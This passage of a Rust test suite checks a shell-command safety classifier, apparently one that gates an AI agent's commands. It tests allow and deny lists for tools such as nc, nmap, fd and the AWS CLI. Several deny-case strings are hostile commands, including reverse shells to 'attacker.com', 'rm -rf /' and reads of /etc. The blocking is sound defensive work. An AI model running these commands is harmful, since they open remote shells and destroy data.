let parsed = toks(&case.split_whitespace().collect::<Vec<_>>());
assert_eq!(
dispatch_spec(&parsed, spec),
Verdict::Denied,
"expected denied: {case}",
);
}
}
#[test]
fn insert_spec_replaces_aliases() {
let original = load_toml(r#"
[[command]]
name = "original-tool"
aliases = ["o", "orig"]
url = "x"
description = "first"
bare_flags = ["--help"]
"#, "test");
let mut map = build_registry(original);
assert!(map.contains_key("o"));
assert!(map.contains_key("orig"));
let override_spec = load_toml(r#"
[[command]]
name = "original-tool"
deny = true
"#, "test").into_iter().next().unwrap();
super::build::insert_spec(&mut map, override_spec);
assert!(!map.contains_key("o"), "stale alias 'o' must be removed");
assert!(!map.contains_key("orig"), "stale alias 'orig' must be removed");
let spec = &map["original-tool"];
let parsed = toks(&["original-tool", "--help"]);
assert_eq!(dispatch_spec(&parsed, spec), Verdict::Denied);
}
#[test]
fn toml_hash_commands_work() {
assert!(crate::is_safe_command("md5sum file.txt"));
assert!(crate::is_safe_command("sha256sum file.txt"));
assert!(crate::is_safe_command("b2sum file.txt"));
assert!(crate::is_safe_command("shasum -a 256 file.txt"));
assert!(crate::is_safe_command("cksum file.txt"));
assert!(crate::is_safe_command("md5 file.txt"));
assert!(crate::is_safe_command("sum file.txt"));
assert!(crate::is_safe_command("md5sum --check checksums.md5"));
}
#[test]
fn toml_hash_commands_reject_unknown() {
assert!(!crate::is_safe_command("md5sum --evil"));
assert!(!crate::is_safe_command("sha256sum --evil"));
assert!(!crate::is_safe_command("b2sum --evil"));
}
#[test]
fn toml_fd_allowed() {
assert!(crate::is_safe_command("fd pattern"));
assert!(crate::is_safe_command("fd -H pattern"));
assert!(crate::is_safe_command("fd -t f pattern"));
assert!(crate::is_safe_command("fd -e rs pattern"));
assert!(crate::is_safe_command("fd -g '*.rs'"));
assert!(crate::is_safe_command("fd -L pattern"));
assert!(crate::is_safe_command("fd -a pattern"));
assert!(crate::is_safe_command("fd --color auto pattern"));
assert!(crate::is_safe_command("fd --max-depth 3 pattern"));
}
#[test]
fn toml_fd_denied() {
assert!(!crate::is_safe_command("fd /etc --exec cat {}"));
assert!(!crate::is_safe_command("fd /etc -x od {}"));
assert!(!crate::is_safe_command("fd /etc -X cat"));
assert!(!crate::is_safe_command("fd -x cat /etc/{}"));
assert!(!crate::is_safe_command("fd -xH pattern"));
assert!(!crate::is_safe_command("fd -HX pattern"));
assert!(!crate::is_safe_command("fd --evil"));
assert!(!crate::is_safe_command("fd -x"));
}
#[test]
fn toml_kafka_topics_allowed() {
assert!(crate::is_safe_command("kafka-topics --bootstrap-server localhost:9092 --list"));
assert!(crate::is_safe_command("kafka-topics --list --bootstrap-server localhost:9092"));
assert!(crate::is_safe_command("kafka-topics --bootstrap-server localhost:9092 --describe --topic foo"));
assert!(crate::is_safe_command("kafka-topics --bootstrap-server localhost:9092 --describe --under-replicated-partitions"));
assert!(crate::is_safe_command("kafka-topics --help"));
}
#[test]
fn toml_kafka_topics_denied() {
assert!(!crate::is_safe_command("kafka-topics --bootstrap-server localhost:9092 --delete --topic foo"));
assert!(!crate::is_safe_command("kafka-topics --bootstrap-server localhost:9092 --create --topic foo"));
assert!(!crate::is_safe_command("kafka-topics --bootstrap-server localhost:9092 --alter --topic foo"));
assert!(!crate::is_safe_command("kafka-topics --bootstrap-server localhost:9092 --list --create"));
assert!(!crate::is_safe_command("kafka-topics"));
}
#[test]
fn toml_kafka_consumer_groups_allowed() {
assert!(crate::is_safe_command("kafka-consumer-groups --bootstrap-server localhost:9092 --list"));
assert!(crate::is_safe_command("kafka-consumer-groups --bootstrap-server localhost:9092 --group mbc --describe"));
assert!(crate::is_safe_command("kafka-consumer-groups --bootstrap-server localhost:9092 --describe --group mbc"));
assert!(crate::is_safe_command("kafka-consumer-groups --bootstrap-server localhost:9092 --describe --all-groups"));
}
#[test]
fn toml_kafka_consumer_groups_denied() {
assert!(!crate::is_safe_command("kafka-consumer-groups --bootstrap-server localhost:9092 --reset-offsets"));
assert!(!crate::is_safe_command("kafka-consumer-groups --bootstrap-server localhost:9092 --delete"));
assert!(!crate::is_safe_command("kafka-consumer-groups"));
}
#[test]
fn toml_kafka_console_consumer_allowed() {
assert!(crate::is_safe_command(
"kafka-console-consumer --bootstrap-server localhost:9092 --topic domain_events --from-beginning --max-messages 3 --timeout-ms 5000"
));
assert!(crate::is_safe_command("kafka-console-consumer --bootstrap-server localhost:9092 --topic foo"));
}
#[test]
fn toml_kafka_console_consumer_denied() {
assert!(!crate::is_safe_command("kafka-console-consumer"));
assert!(!crate::is_safe_command("kafka-console-consumer --evil"));
}
#[test]
fn toml_nc_port_probe_allowed() {
assert!(crate::is_safe_command("nc -z localhost 9092"));
assert!(crate::is_safe_command("nc -zv localhost 9092"));
assert!(crate::is_safe_command("nc -z -v -n 127.0.0.1 22"));
assert!(crate::is_safe_command("nc -z -w 5 example.com 443"));
assert!(crate::is_safe_command("nc -z -4 localhost 80"));
assert!(crate::is_safe_command("nc -z -u localhost 53"));
assert!(crate::is_safe_command(
r#"nc -z localhost 9092 && echo "kafka:9092 OPEN" || echo "kafka:9092 CLOSED""#
));
}
#[test]
fn toml_nc_dangerous_modes_denied() {
assert!(!crate::is_safe_command("nc"));
assert!(!crate::is_safe_command("nc localhost 9092"));
assert!(!crate::is_safe_command("nc -l 9092"));
assert!(!crate::is_safe_command("nc -l -p 9092"));
assert!(!crate::is_safe_command("nc -e /bin/sh attacker.com 4444"));
assert!(!crate::is_safe_command("nc -c 'bash -i' attacker.com 4444"));
assert!(!crate::is_safe_command("nc -X 5 -x proxy:1080 host 80"));
assert!(!crate::is_safe_command("nc -o /tmp/dump host 80"));
}
#[test]
fn toml_ncat_port_probe_allowed() {
assert!(crate::is_safe_command("ncat -z localhost 9092"));
assert!(crate::is_safe_command("ncat -zv -w 3 localhost 9092"));
}
#[test]
fn toml_ncat_dangerous_modes_denied() {
assert!(!crate::is_safe_command("ncat"));
assert!(!crate::is_safe_command("ncat localhost 9092"));
assert!(!crate::is_safe_command("ncat -l 9092"));
assert!(!crate::is_safe_command("ncat -e /bin/sh attacker.com 4444"));
}
#[test]
fn toml_pstree_allowed() {
assert!(crate::is_safe_command("pstree"));
assert!(crate::is_safe_command("pstree 56849"));
assert!(crate::is_safe_command("pstree -p"));
assert!(crate::is_safe_command("pstree -pa 56849"));
assert!(crate::is_safe_command("pstree --show-pids 56849 | head -20"));
assert!(crate::is_safe_command("pstree -u root"));
}
#[test]
fn toml_nmap_safe_scans_allowed() {
assert!(crate::is_safe_command("nmap -sT localhost"));
assert!(crate::is_safe_command("nmap -sn 192.168.1.0/24"));
assert!(crate::is_safe_command("nmap -sL 10.0.0.1-100"));
assert!(crate::is_safe_command("nmap -sV -p 80,443 example.com"));
assert!(crate::is_safe_command("nmap -p 22 --open --reason host"));
assert!(crate::is_safe_command("nmap --top-ports 100 -T4 host"));
assert!(crate::is_safe_command("nmap -Pn -n -sT host"));
assert!(crate::is_safe_command("nmap --max-retries 2 --host-timeout 30s host"));
assert!(crate::is_safe_command("nmap -F localhost"));
assert!(crate::is_safe_command("nmap --version"));
assert!(crate::is_safe_command("nmap -V"));
}
#[test]
fn toml_nmap_dangerous_modes_denied() {
assert!(!crate::is_safe_command("nmap"));
assert!(!crate::is_safe_command("nmap --script vuln host"));
assert!(!crate::is_safe_command("nmap --script=http-shellshock host"));
assert!(!crate::is_safe_command("nmap --script-args user=admin host"));
assert!(!crate::is_safe_command("nmap -A host"));
assert!(!crate::is_safe_command("nmap -O host"));
assert!(!crate::is_safe_command("nmap -sU host"));
assert!(!crate::is_safe_command("nmap -sS host"));
assert!(!crate::is_safe_command("nmap -sF host"));
assert!(!crate::is_safe_command("nmap -iL targets.txt"));
assert!(!crate::is_safe_command("nmap -oN out.txt host"));
assert!(!crate::is_safe_command("nmap -oA scan host"));
assert!(!crate::is_safe_command("nmap --data-string EVIL host"));
assert!(!crate::is_safe_command("nmap --scanflags SYNFIN host"));
assert!(!crate::is_safe_command("nmap --privileged host"));
assert!(!crate::is_safe_command("nmap --resume scan.gnmap"));
assert!(!crate::is_safe_command("nmap --script-updatedb"));
}
#[test]
fn toml_monolith_allowed() {
assert!(crate::is_safe_command("monolith https://example.com"));
assert!(crate::is_safe_command("monolith -j -i https://example.com"));
assert!(crate::is_safe_command("monolith --no-audio --no-video https://example.com"));
assert!(crate::is_safe_command("monolith -C /tmp/cookies.txt https://example.com"));
assert!(crate::is_safe_command("monolith -u 'Mozilla/5.0' https://example.com"));
assert!(crate::is_safe_command("monolith --timeout 30 https://example.com"));
assert!(crate::is_safe_command("monolith https://example.com > /dev/null"));
}
#[test]
fn toml_monolith_denied() {
assert!(!crate::is_safe_command("monolith"));
assert!(!crate::is_safe_command("monolith https://example.com -o /tmp/out.html"));
assert!(!crate::is_safe_command("monolith -o - https://example.com"));
assert!(!crate::is_safe_command("monolith --unknown https://example.com"));
}
#[test]
fn toml_jai_allowed() {
assert!(crate::is_safe_command("jai cat /tmp/foo"));
assert!(crate::is_safe_command("jai grep pattern /tmp/foo"));
assert!(crate::is_safe_command("jai --casual rg pattern src/"));
assert!(crate::is_safe_command("jai --strict sleep 1"));
assert!(crate::is_safe_command("jai claude plugin info foo"));
}
#[test]
fn toml_jai_denied() {
assert!(!crate::is_safe_command("jai rm -rf /"));
assert!(!crate::is_safe_command("jai"));
assert!(!crate::is_safe_command("jai bash"));
assert!(!crate::is_safe_command("jai --unknown-flag cat /tmp/x"));
assert!(!crate::is_safe_command("jai --casual bash -c 'rm -rf /'"));
assert!(!crate::is_safe_command("jai -- rm -rf /"));
}
#[test]
fn toml_claude_plugin_info_allowed() {
assert!(crate::is_safe_command("claude plugin info mbc@mbc-plugins"));
assert!(crate::is_safe_command("claude plugins info mbc@mbc-plugins"));
}
#[test]
fn toml_plutil_convert_allowed() {
assert!(crate::is_safe_command("plutil -convert xml1 -o - /tmp/foo.plist"));
assert!(crate::is_safe_command("plutil -convert binary1 -o - /tmp/foo.plist"));
assert!(crate::is_safe_command("plutil -convert json -r -o - /tmp/foo.plist"));
assert!(crate::is_safe_command("plutil -convert xml1 -o -"));
}
#[test]
fn toml_plutil_convert_denied() {
assert!(!crate::is_safe_command("plutil -convert invalid -o - /tmp/in"));
assert!(!crate::is_safe_command("plutil -convert xml1 -e plist -o - /tmp/in"));
}
fn check_toml_unknown(prefix: &str, kind: &DispatchKind, failures: &mut Vec<String>) {
match kind {
DispatchKind::Branching { subs, .. } => {
for sub in subs {
if sub.profile.is_some() {
continue;
}
check_toml_unknown(&format!("{prefix} {}", sub.name), &sub.kind, failures);
}
}
DispatchKind::Policy { policy, .. } | DispatchKind::RequireAny { policy, .. }
if !policy.tolerance.unknown.allows_long() =>
{
let test = format!("{prefix} --xyzzy-unknown-42");
if crate::is_safe_command(&test) {
failures.push(format!("{prefix}: accepted unknown flag"));
}
}
DispatchKind::WriteFlagged { policy, .. } if !policy.tolerance.unknown.allows_long() => {
let test = format!("{prefix} --xyzzy-unknown-42");
if crate::is_safe_command(&test) {
failures.push(format!("{prefix}: accepted unknown flag"));
}
}
_ => {}
}
}
#[test]
fn toml_specs_reject_unknown() {
let mut failures = Vec::new();
for (name, spec) in super::TOML_REGISTRY.iter() {
if name != &spec.name { continue; }
if is_grep_hook(spec) {
continue;
}
check_toml_unknown(&spec.name, &spec.kind, &mut failures);
}
assert!(failures.is_empty(), "TOML specs accepted unknown flags:\n{}", failures.join("\n"));
}
fn collect_strict_paths() -> Vec<String> {
let mut paths = Vec::new();
for (name, spec) in super::TOML_REGISTRY.iter() {
if name != &spec.name { continue; }
if is_grep_hook(spec) {
continue;
}
collect_strict_inner(&spec.name, &spec.kind, &mut paths);
}
paths
}
fn collect_strict_inner(prefix: &str, kind: &DispatchKind, paths: &mut Vec<String>) {
match kind {
DispatchKind::Branching { subs, .. } => {
for sub in subs {
if sub.profile.is_some() {
continue;
}
collect_strict_inner(&format!("{prefix} {}", sub.name), &sub.kind, paths);
}
}
DispatchKind::Policy { policy, .. } | DispatchKind::RequireAny { policy, .. }
if !policy.tolerance.unknown.allows_long() =>
{
paths.push(prefix.to_string());
}
DispatchKind::WriteFlagged { policy, .. } if !policy.tolerance.unknown.allows_long() => {
paths.push(prefix.to_string());
}
_ => {}
}
}
proptest::proptest! {
#[test]
fn toml_strict_reject_random_flags(
seed in 0..1000usize,
suffix in "[a-z]{5,10}"
) {
let paths = collect_strict_paths();
if paths.is_empty() { return Ok(()); }
let path = &paths[seed % paths.len()];
let test = format!("{path} --xyzzy-{suffix}");
proptest::prop_assert!(!crate::is_safe_command(&test),
"accepted random flag: {test}");
}
}
#[test]
fn glob_carveouts_deny_while_the_glob_still_allows_siblings() {
use super::types::DispatchKind;
let Some(spec) = TOML_REGISTRY.get("aws") else { return };
let DispatchKind::Branching { subs: services, .. } = &spec.kind else {
panic!("aws is not Branching");
};
let mut deny_checks = 0;
let mut allow_checks = 0;
for svc in services {
let DispatchKind::Branching { subs: actions, first_arg, .. } = &svc.kind else { continue };
if first_arg.is_empty() || actions.is_empty() {
continue; }
let prefix = first_arg[0].trim_end_matches('*');
let benign = format!("aws {} {prefix}zzz-benign-nonexistent", svc.name);
assert!(crate::is_safe_command(&benign), "carve-out killed the glob: `{benign}`");
allow_checks += 1;
for act in actions {
let Some(profile) = &act.profile else { continue };
let cmd = format!("aws {} {}", svc.name, act.name);
if profile.starts_with("credential-") || profile == "bulk-object-read" {
assert!(!crate::is_safe_command(&cmd), "carve-out must deny: `{cmd}` (profile={profile})");
deny_checks += 1;
} else if profile == "remote-read" {
assert!(crate::is_safe_command(&cmd), "base read must allow: `{cmd}`");
allow_checks += 1;
}
}
}
assert!(deny_checks >= 70, "expected the AWS carve-out batch covered; deny_checks={deny_checks}");
assert!(allow_checks >= 40, "expected glob-siblings covered; allow_checks={allow_checks}");
}
#[test]
fn aws_credential_smell_actions_deny_or_are_grandfathered() {
const GRANDFATHER: &[(&str, &str, &str)] = &[
("apigateway", "get-api-key", "flag-conditional: base is metadata; the key VALUE needs --include-value, gated separately"),
("apigateway", "get-api-keys", "flag-conditional: base is metadata; values need --include-values, gated separately"),
("chime-sdk-voice", "list-voice-connector-termination-credentials", "output is Usernames only; passwords are write-only"),
("codebuild", "list-source-credentials", "SourceCredentialsInfo (arn/type/authType); no token value"),
("codecatalyst", "list-access-tokens", "PAT metadata (id/name/expiry); token value shown only at creation"),
("cognito-idp", "list-user-pool-client-secrets", "doc: 'the response never reveals the actual secret' — metadata only"),
("cognito-idp", "list-web-authn-credentials", "WebAuthn public-key credentials (public keys / IDs), not secrets"),
("iam", "get-account-password-policy", "the account password POLICY (length/complexity), not any password"),
("iam", "get-login-profile", "console-login metadata (exists/create-date/reset), not the password"),
("iam", "get-open-id-connect-provider", "OIDC provider config (url/client-ids/public thumbprints)"),
("iam", "list-open-id-connect-provider-tags", "tags on an OIDC provider"),
("iam", "list-open-id-connect-providers", "OIDC provider ARNs"),
("iam", "list-service-specific-credentials", "credential metadata (id/username/status); password shown only at creation"),
("ivs", "list-stream-keys", "stream-key ARN summaries; the value is in get-stream-key (denied)"),
("kafka", "list-scram-secrets", "Secrets Manager ARNs associated to the cluster, not the values"),
("secretsmanager", "describe-secret", "secret metadata (name/rotation/ARN), not the value"),
("secretsmanager", "list-secret-version-ids", "version IDs/stages, not values"),
("secretsmanager", "list-secrets", "secret metadata list, not values"),
("sso-admin", "describe-instance-access-control-attribute-configuration", "ABAC attribute-mapping config, not credentials"),
("wafv2", "get-decrypted-api-key", "output is TokenDomains + CreationTimestamp; no usable key value"),
("wafv2", "list-api-keys", "CAPTCHA client-integration tokens, embedded in public JS by design"),
("workmail", "get-personal-access-token-metadata", "PAT metadata (name/expiry), not the token"),
("workmail", "list-personal-access-tokens", "PAT metadata list, not the tokens"),
];
let fixture = include_str!("../../tests/fixtures/aws_credential_smell_actions.tsv");
let grand: std::collections::HashSet<(&str, &str)> =
GRANDFATHER.iter().map(|(s, a, _)| (*s, *a)).collect();
let mut rows = 0;
let mut denied = 0;
let mut residue = Vec::new();
for line in fixture.lines().filter(|l| !l.trim().is_empty() && !l.starts_with('#')) {
let mut it = line.split('\t');
let (Some(svc), Some(act)) = (it.next(), it.next()) else { continue };
rows += 1;
if crate::is_safe_command(&format!("aws {svc} {act}")) {
if !grand.contains(&(svc, act)) {
residue.push(format!("aws {svc} {act}"));
}
} else {
denied += 1;
}
}
assert!(
residue.is_empty(),
"credential-smell AWS actions auto-approve with no grandfather entry — carve them out, or \
GRANDFATHER with a verified reason (checked its botocore output shape):\n {}",
residue.join("\n "),
);
assert!(rows >= 50, "fixture shrank unexpectedly: {rows} rows");
assert!(denied >= 25, "too few denies — carve-outs may have regressed: {denied}");
for (s, a, _) in GRANDFATHER {
assert!(
fixture.lines().any(|l| l == format!("{s}\t{a}")),
"stale GRANDFATHER entry not in fixture: {s} {a}",
);
}
}
#[test]
fn verb_glob_clis_admit_only_read_verbs() {
use super::types::DispatchKind;
let verb_glob_clis: &[(&str, &[&str])] = &[
(
"gcloud",
&[
"describe", "list", "get-iam-policy", "get-ancestors-iam-policy", "log", "read", "ls",
"compute", "lint-condition", "query-activity", "troubleshoot-policy",
],
),
(
"az",
&[
"show", "list",
"list-locations", "list-sizes", "list-ip-addresses", "list-instances", "list-skus",
"list-usages", "list-service-tiers", "list-editions", "list-runtimes",
"get-instance-view", "list-deleted", "wait",
"query", "name-exists", "logs",
],
),
];
fn walk(prefix: &str, kind: &DispatchKind, read_verbs: &[&str], bad: &mut Vec<String>) {
let check = |pfx: &str, patterns: &[String], bad: &mut Vec<String>| {
for p in patterns {
if !read_verbs.contains(&p.as_str()) {
bad.push(format!("{pfx}: `{p}`"));
}
}
};
match kind {
DispatchKind::FirstArg { patterns, .. } => check(prefix, patterns, bad),
DispatchKind::Branching { subs, first_arg, .. } => {
check(prefix, first_arg, bad);
for s in subs {
walk(&format!("{prefix} {}", s.name), &s.kind, read_verbs, bad);
}
}
_ => {}
}
}
let mut bad = Vec::new();
for (cmd, read_verbs) in verb_glob_clis {
if let Some(spec) = TOML_REGISTRY.get(*cmd) {
walk(cmd, &spec.kind, read_verbs, &mut bad);
}
}
assert!(
bad.is_empty(),
"verb-glob CLIs admit non-read tokens ({} — a subgroup name → make it a sub-sub with a \
read-verb glob; a mutating/credential verb → drop it or carve as credential-read):\n {}",
bad.len(),
bad.join("\n "),
);
}
#[test]
fn all_toml_commands_have_description() {
let mut missing = Vec::new();
for (key, spec) in TOML_REGISTRY.iter() {
if *key != spec.name {
continue;
}
if spec.description.is_empty() {
missing.push(spec.name.as_str());
}
}
assert!(
missing.is_empty(),
"{} TOML commands missing description:\n{}",
missing.len(),
missing.join(", "),
);
}
#[test]
fn researched_version_round_trips() {
let spec = load_one(r#"
[[command]]
name = "demo"
researched_version = "demo-cli 1.9.0 (2026-05-08)"
"#);
assert_eq!(
spec.researched_version.as_deref(),
Some("demo-cli 1.9.0 (2026-05-08)"),
);
}
#[test]
fn researched_version_optional_defaults_to_none() {
let spec = load_one(r#"
[[command]]
name = "demo"
"#);
assert!(spec.researched_version.is_none());
}
#[test]
fn researched_version_does_not_render_in_docs() {
let spec = load_one(r#"
[[command]]
name = "demo"
researched_version = "9.9.9"
"#);
let doc = spec.to_command_doc();
assert!(
!doc.description.contains("9.9.9"),
"researched_version leaked into doc body: {}",
doc.description,
);
}
#[test]
fn handler_command_with_doc_body_renders_body() {
let spec = load_one(r#"
[[command]]
name = "demo"
handler = "demo_handler"
doc_body = "- Allowed standalone flags: --foo\n- Allowed valued flags: --bar"
"#);
let doc = spec.to_command_doc();
assert!(doc.description.contains("--foo"), "body missing --foo: {}", doc.description);
assert!(doc.description.contains("--bar"), "body missing --bar: {}", doc.description);
}
#[test]
fn handler_command_without_doc_body_renders_empty() {
let spec = load_one(r#"
[[command]]
name = "demo"
handler = "demo_handler"
"#);
let doc = spec.to_command_doc();
assert_eq!(doc.description, "");
}
#[test]
fn handler_command_renders_delegating_subs() {
let spec = load_one(r#"
[[command]]
name = "demo-delegate"
handler = "demo_handler"
[[command.sub]]
name = "passthrough"
delegate_skip = 0
[[command.sub]]
name = "after"
delegate_after = "--"
"#);
let doc = spec.to_command_doc();
assert!(
doc.description.contains("**passthrough**"),
"delegate_skip sub label must render: {}",
doc.description,
);
assert!(
doc.description.contains("**after**"),
"delegate_after sub label must render: {}",
doc.description,
);
assert!(
doc.description.contains("delegates"),
"delegation must be indicated: {}",
doc.description,
);
}
#[test]
fn matrix_dispatch_routes_parent_action_to_policy() {
let spec = load_one(r#"
[[command]]
name = "demo-matrix"
handler = "demo_handler"
[command.handler_policy.list_policy]
bare = true
standalone = ["--help", "--limit"]
[command.handler_policy.download_policy]
bare = false
standalone = ["--output"]
[[command.matrix]]
parents = ["alpha", "beta"]
level = "Inert"
[command.matrix.actions]
list = "list_policy"
[[command.matrix]]
parents = ["alpha"]
level = "SafeWrite"
[command.matrix.actions.download]
policy = "download_policy"
guard = "--output"
guard_short = "-O"
"#);
match &spec.kind {
DispatchKind::Custom { matrices, .. } => {
assert_eq!(matrices.len(), 2);
assert_eq!(matrices[0].level, SafetyLevel::Inert);
assert_eq!(matrices[1].level, SafetyLevel::SafeWrite);
let list_action = matrices[0].actions.get("list").expect("list action");
assert_eq!(list_action.policy_key, "list_policy");
assert!(list_action.guard.is_none());
let dl = matrices[1].actions.get("download").expect("download action");
assert_eq!(dl.policy_key, "download_policy");
assert_eq!(dl.guard.as_deref(), Some("--output"));
assert_eq!(dl.guard_short.as_deref(), Some("-O"));
}
other => panic!("expected Custom, got {other:?}"),
}
let doc = spec.to_command_doc();
assert!(
doc.description.contains("Subcommands by action verb"),
"matrix section header must render: {}",
doc.description,
);
assert!(
doc.description.contains("alpha, beta"),
"parents must render: {}",
doc.description,
);
assert!(
doc.description.contains("requires -O/--output"),
"guard must render: {}",
doc.description,
);
}
#[test]
fn matrix_inlines_single_use_policy_summaries() {
let spec = load_one(r#"
[[command]]
name = "demo-inline"
handler = "demo_handler"
[command.handler_policy.unique]
bare = false
standalone = ["--only-here"]
valued = ["--only-valued"]
[[command.matrix]]
parents = ["alpha"]
level = "Inert"
[command.matrix.actions]
list = "unique"
"#);
let doc = spec.to_command_doc();
assert!(
doc.description.contains("--only-here"),
"single-use policy flags must inline into the matrix entry: {}",
doc.description,
);
assert!(
!doc.description.contains("Shared flag sets"),
"shared-flag-sets header must NOT render when all policies are single-use: {}",
doc.description,
);
}
#[test]
fn sub_with_shared_policy_ref_renders_reference_not_inline() {
let spec = load_one(r#"
[[command]]
name = "demo-shared-sub"
handler = "demo_handler"
[command.handler_policy.canonical]
bare = false
standalone = ["--unique-flag-marker"]
valued = ["--unique-valued-marker"]
[[command.sub]]
name = "alias-sub"
policy = "canonical"
level = "Inert"
[[command.matrix]]
parents = ["alpha", "beta"]
level = "Inert"
[command.matrix.actions]
verify = "canonical"
watch = "canonical"
"#);
let doc = spec.to_command_doc();
assert!(
doc.description.contains("**alias-sub** — see `canonical` below"),
"sub with shared policy_ref must render as reference: {}",
doc.description,
);
let count = doc.description.matches("--unique-flag-marker").count();
assert_eq!(
count, 1,
"shared policy flag list must render exactly once (in Shared flag sets): {}",
doc.description,
);
}
#[test]
fn matrix_references_shared_policies_in_their_own_section() {
let spec = load_one(r#"
[[command]]
name = "demo-shared"
handler = "demo_handler"
[command.handler_policy.shared]
bare = false
standalone = ["--web", "-w"]
valued = ["--repo"]
[[command.matrix]]
parents = ["alpha", "beta"]
level = "Inert"
[command.matrix.actions]
verify = "shared"
watch = "shared"
"#);
let doc = spec.to_command_doc();
assert!(
doc.description.contains("Shared flag sets"),
"shared section must render when a policy is used 2+ times: {}",
doc.description,
);
assert!(
doc.description.contains("see `shared` below"),
"matrix entry must reference the shared policy by name: {}",
doc.description,
);
let occurrences = doc.description.matches("--web").count();
assert_eq!(
occurrences, 1,
"shared policy flags should appear once (in the shared section), not be duplicated across matrix entries: {}",
doc.description,
);
}
#[test]
fn check_handler_policy_returns_false_for_missing_key() {
let spec = load_one(r#"
[[command]]
name = "demo-cp"
handler = "demo_handler"
[command.handler_policy.list]
bare = true
standalone = ["--help"]
"#);
match &spec.kind {
DispatchKind::Custom { handler_policies, .. } => {
assert!(handler_policies.contains_key("list"));
assert!(!handler_policies.contains_key("nope"));
}
other => panic!("expected Custom, got {other:?}"),
}
}
#[test]
fn handler_command_renders_subs_and_fallback_data() {
let spec = load_one(r#"
[[command]]
name = "demo-render"
handler = "demo_handler"
doc_body = "Routing prose explaining the dispatch."
[[command.sub]]
name = "diag"
standalone = ["--help", "-h"]
max_positional = 0
[[command.sub]]
name = "list"
level = "SafeRead"
standalone = ["--help"]
[command.fallback]
level = "Inert"
bare = true
max_positional = 1
positional_shape = "path"
standalone = ["--help"]
valued = ["--type"]
"#);
let doc = spec.to_command_doc();
assert!(
doc.description.contains("Routing prose explaining"),
"doc_body must still render: {}",
doc.description,
);
assert!(
doc.description.contains("**diag**"),
"TOML-declared sub `diag` must render: {}",
doc.description,
);
assert!(
doc.description.contains("**list**"),
"TOML-declared sub `list` must render: {}",
doc.description,
);
assert!(
doc.description.contains("Without a subcommand"),
"bare-flag section header must render: {}",
doc.description,
);
assert!(
doc.description.contains("--type"),
"fallback valued flags must render: {}",
doc.description,
);
assert!(
doc.description.contains("must look like a path"),
"positional_shape must render: {}",
doc.description,
);
}
#[test]
fn handler_sub_with_doc_body_renders_in_parent_body() {
let spec = load_one(r#"
[[command]]
name = "demo"
bare = false
[[command.sub]]
name = "rare-mode"
handler = "demo_sub"
doc_body = "requires --opt with one of red, green, blue"
"#);
let doc = spec.to_command_doc();
assert!(
doc.description.contains("**rare-mode**"),
"body missing sub label: {}",
doc.description,
);
assert!(
doc.description.contains("requires --opt"),
"body missing sub doc_body: {}",
doc.description,
);
}
#[test]
fn handler_sub_without_doc_body_renders_label_only() {
let spec = load_one(r#"
[[command]]
name = "demo"
bare = false
[[command.sub]]
name = "rare-mode"
handler = "demo_sub"
"#);
let doc = spec.to_command_doc();
assert!(
doc.description.contains("**rare-mode**"),
"body missing sub label: {}",
doc.description,
);
}
#[test]
fn doc_body_does_not_affect_dispatch_for_handler_command() {
let spec = load_one(r#"
[[command]]
name = "php"
handler = "php"
doc_body = "anything here"
"#);
assert_eq!(
super::dispatch_spec(&toks(&["php"]), &spec),
Verdict::Denied,
);
}
#[test]
#[should_panic(expected = "eval_safe_flags` without `eval_safe = true")]
fn eval_safe_flags_without_tag_panics_command() {
load_one(r#"
[[command]]
name = "ssh-agent"
bare = true
eval_safe_flags = ["-s"]
"#);
}
#[test]
#[should_panic(expected = "eval_safe_flags` without `eval_safe = true")]
fn eval_safe_flags_without_tag_panics_sub() {
load_one(r#"
[[command]]
name = "demo"
[[command.sub]]
name = "init"
eval_safe_flags = ["--shims"]
"#);
}
#[test]
#[should_panic(expected = "eval_safe = true` at the command level AND")]
fn eval_safe_command_with_subs_panics() {
load_one(r#"
[[command]]
name = "demo"
researched_version = "test"
eval_safe = true
[[command.sub]]
name = "init"
"#);
}
#[test]
fn eval_safe_handler_command_builds() {
let spec = load_one(r#"
[[command]]
name = "php"
researched_version = "test"
handler = "php"
eval_safe = true
eval_safe_flags = ["--bash"]
eval_safe_required_flags = ["--bash"]
"#);
assert!(spec.eval_safe);
assert!(super::is_eval_safe_for_spec(&spec, &toks(&["php", "--bash"])));
assert!(!super::is_eval_safe_for_spec(&spec, &toks(&["php"])));
}
#[test]
#[should_panic(expected = "eval_safe = true` AND `[command.wrapper]")]
fn eval_safe_wrapper_command_panics() {
load_one(r#"
[[command]]
name = "demo"
researched_version = "test"
eval_safe = true
[command.wrapper]
positional_skip = 1
"#);
}
#[test]
#[should_panic(expected = "deny = true` and `eval_safe = true")]
fn eval_safe_with_deny_panics() {
load_one(r#"
[[command]]
name = "demo"
researched_version = "test"
deny = true
eval_safe = true
"#);
}
#[test]
#[should_panic(expected = "eval_safe = true` AND has nested")]
fn eval_safe_sub_with_nested_subs_panics() {
load_one(r#"
[[command]]
name = "demo"
researched_version = "test"
[[command.sub]]
name = "config"
eval_safe = true
[[command.sub.sub]]
name = "get"
"#);
}
#[test]
#[should_panic(expected = "eval_safe = true` AND `handler")]
fn eval_safe_handler_sub_panics() {
load_one(r#"
[[command]]
name = "demo"
researched_version = "test"
[[command.sub]]
name = "init"
handler = "php"
eval_safe = true
"#);
}
#[test]
#[should_panic(expected = "eval_safe = true` AND delegates")]
fn eval_safe_delegate_sub_panics() {
load_one(r#"
[[command]]
name = "demo"
researched_version = "test"
[[command.sub]]
name = "exec"
delegate_after = "--"
eval_safe = true
"#);
}
#[test]
fn eval_safe_on_flat_command_builds() {
let spec = load_one(r#"
[[command]]
name = "ssh-agent"
bare = true
eval_safe = true
researched_version = "OpenSSH 9.8"
"#);
assert!(spec.eval_safe);
assert!(spec.eval_safe_flags.is_empty());
}
#[test]
#[should_panic(expected = "but no `researched_version")]
fn eval_safe_command_without_researched_version_panics() {
load_one(r#"
[[command]]
name = "ssh-agent"
bare = true
eval_safe = true
"#);
}
#[test]
#[should_panic(expected = "but no `researched_version")]
fn eval_safe_sub_without_command_researched_version_panics() {
load_one(r#"
[[command]]
name = "demo"
[[command.sub]]
name = "init"
bare = false
max_positional = 1
eval_safe = true
"#);
}
#[test]
fn eval_safe_sub_with_command_researched_version_builds() {
let spec = load_one(r#"
[[command]]
name = "demo"
researched_version = "v1.0"
[[command.sub]]
name = "init"
bare = false
max_positional = 1
eval_safe = true
"#);
let DispatchKind::Branching { subs, .. } = &spec.kind else {
panic!("expected branching kind");
};
let init = subs.iter().find(|s| s.name == "init").expect("init sub");
assert!(init.eval_safe);
}
#[test]
fn eval_safe_on_leaf_sub_builds() {
let spec = load_one(r#"
[[command]]
name = "demo"
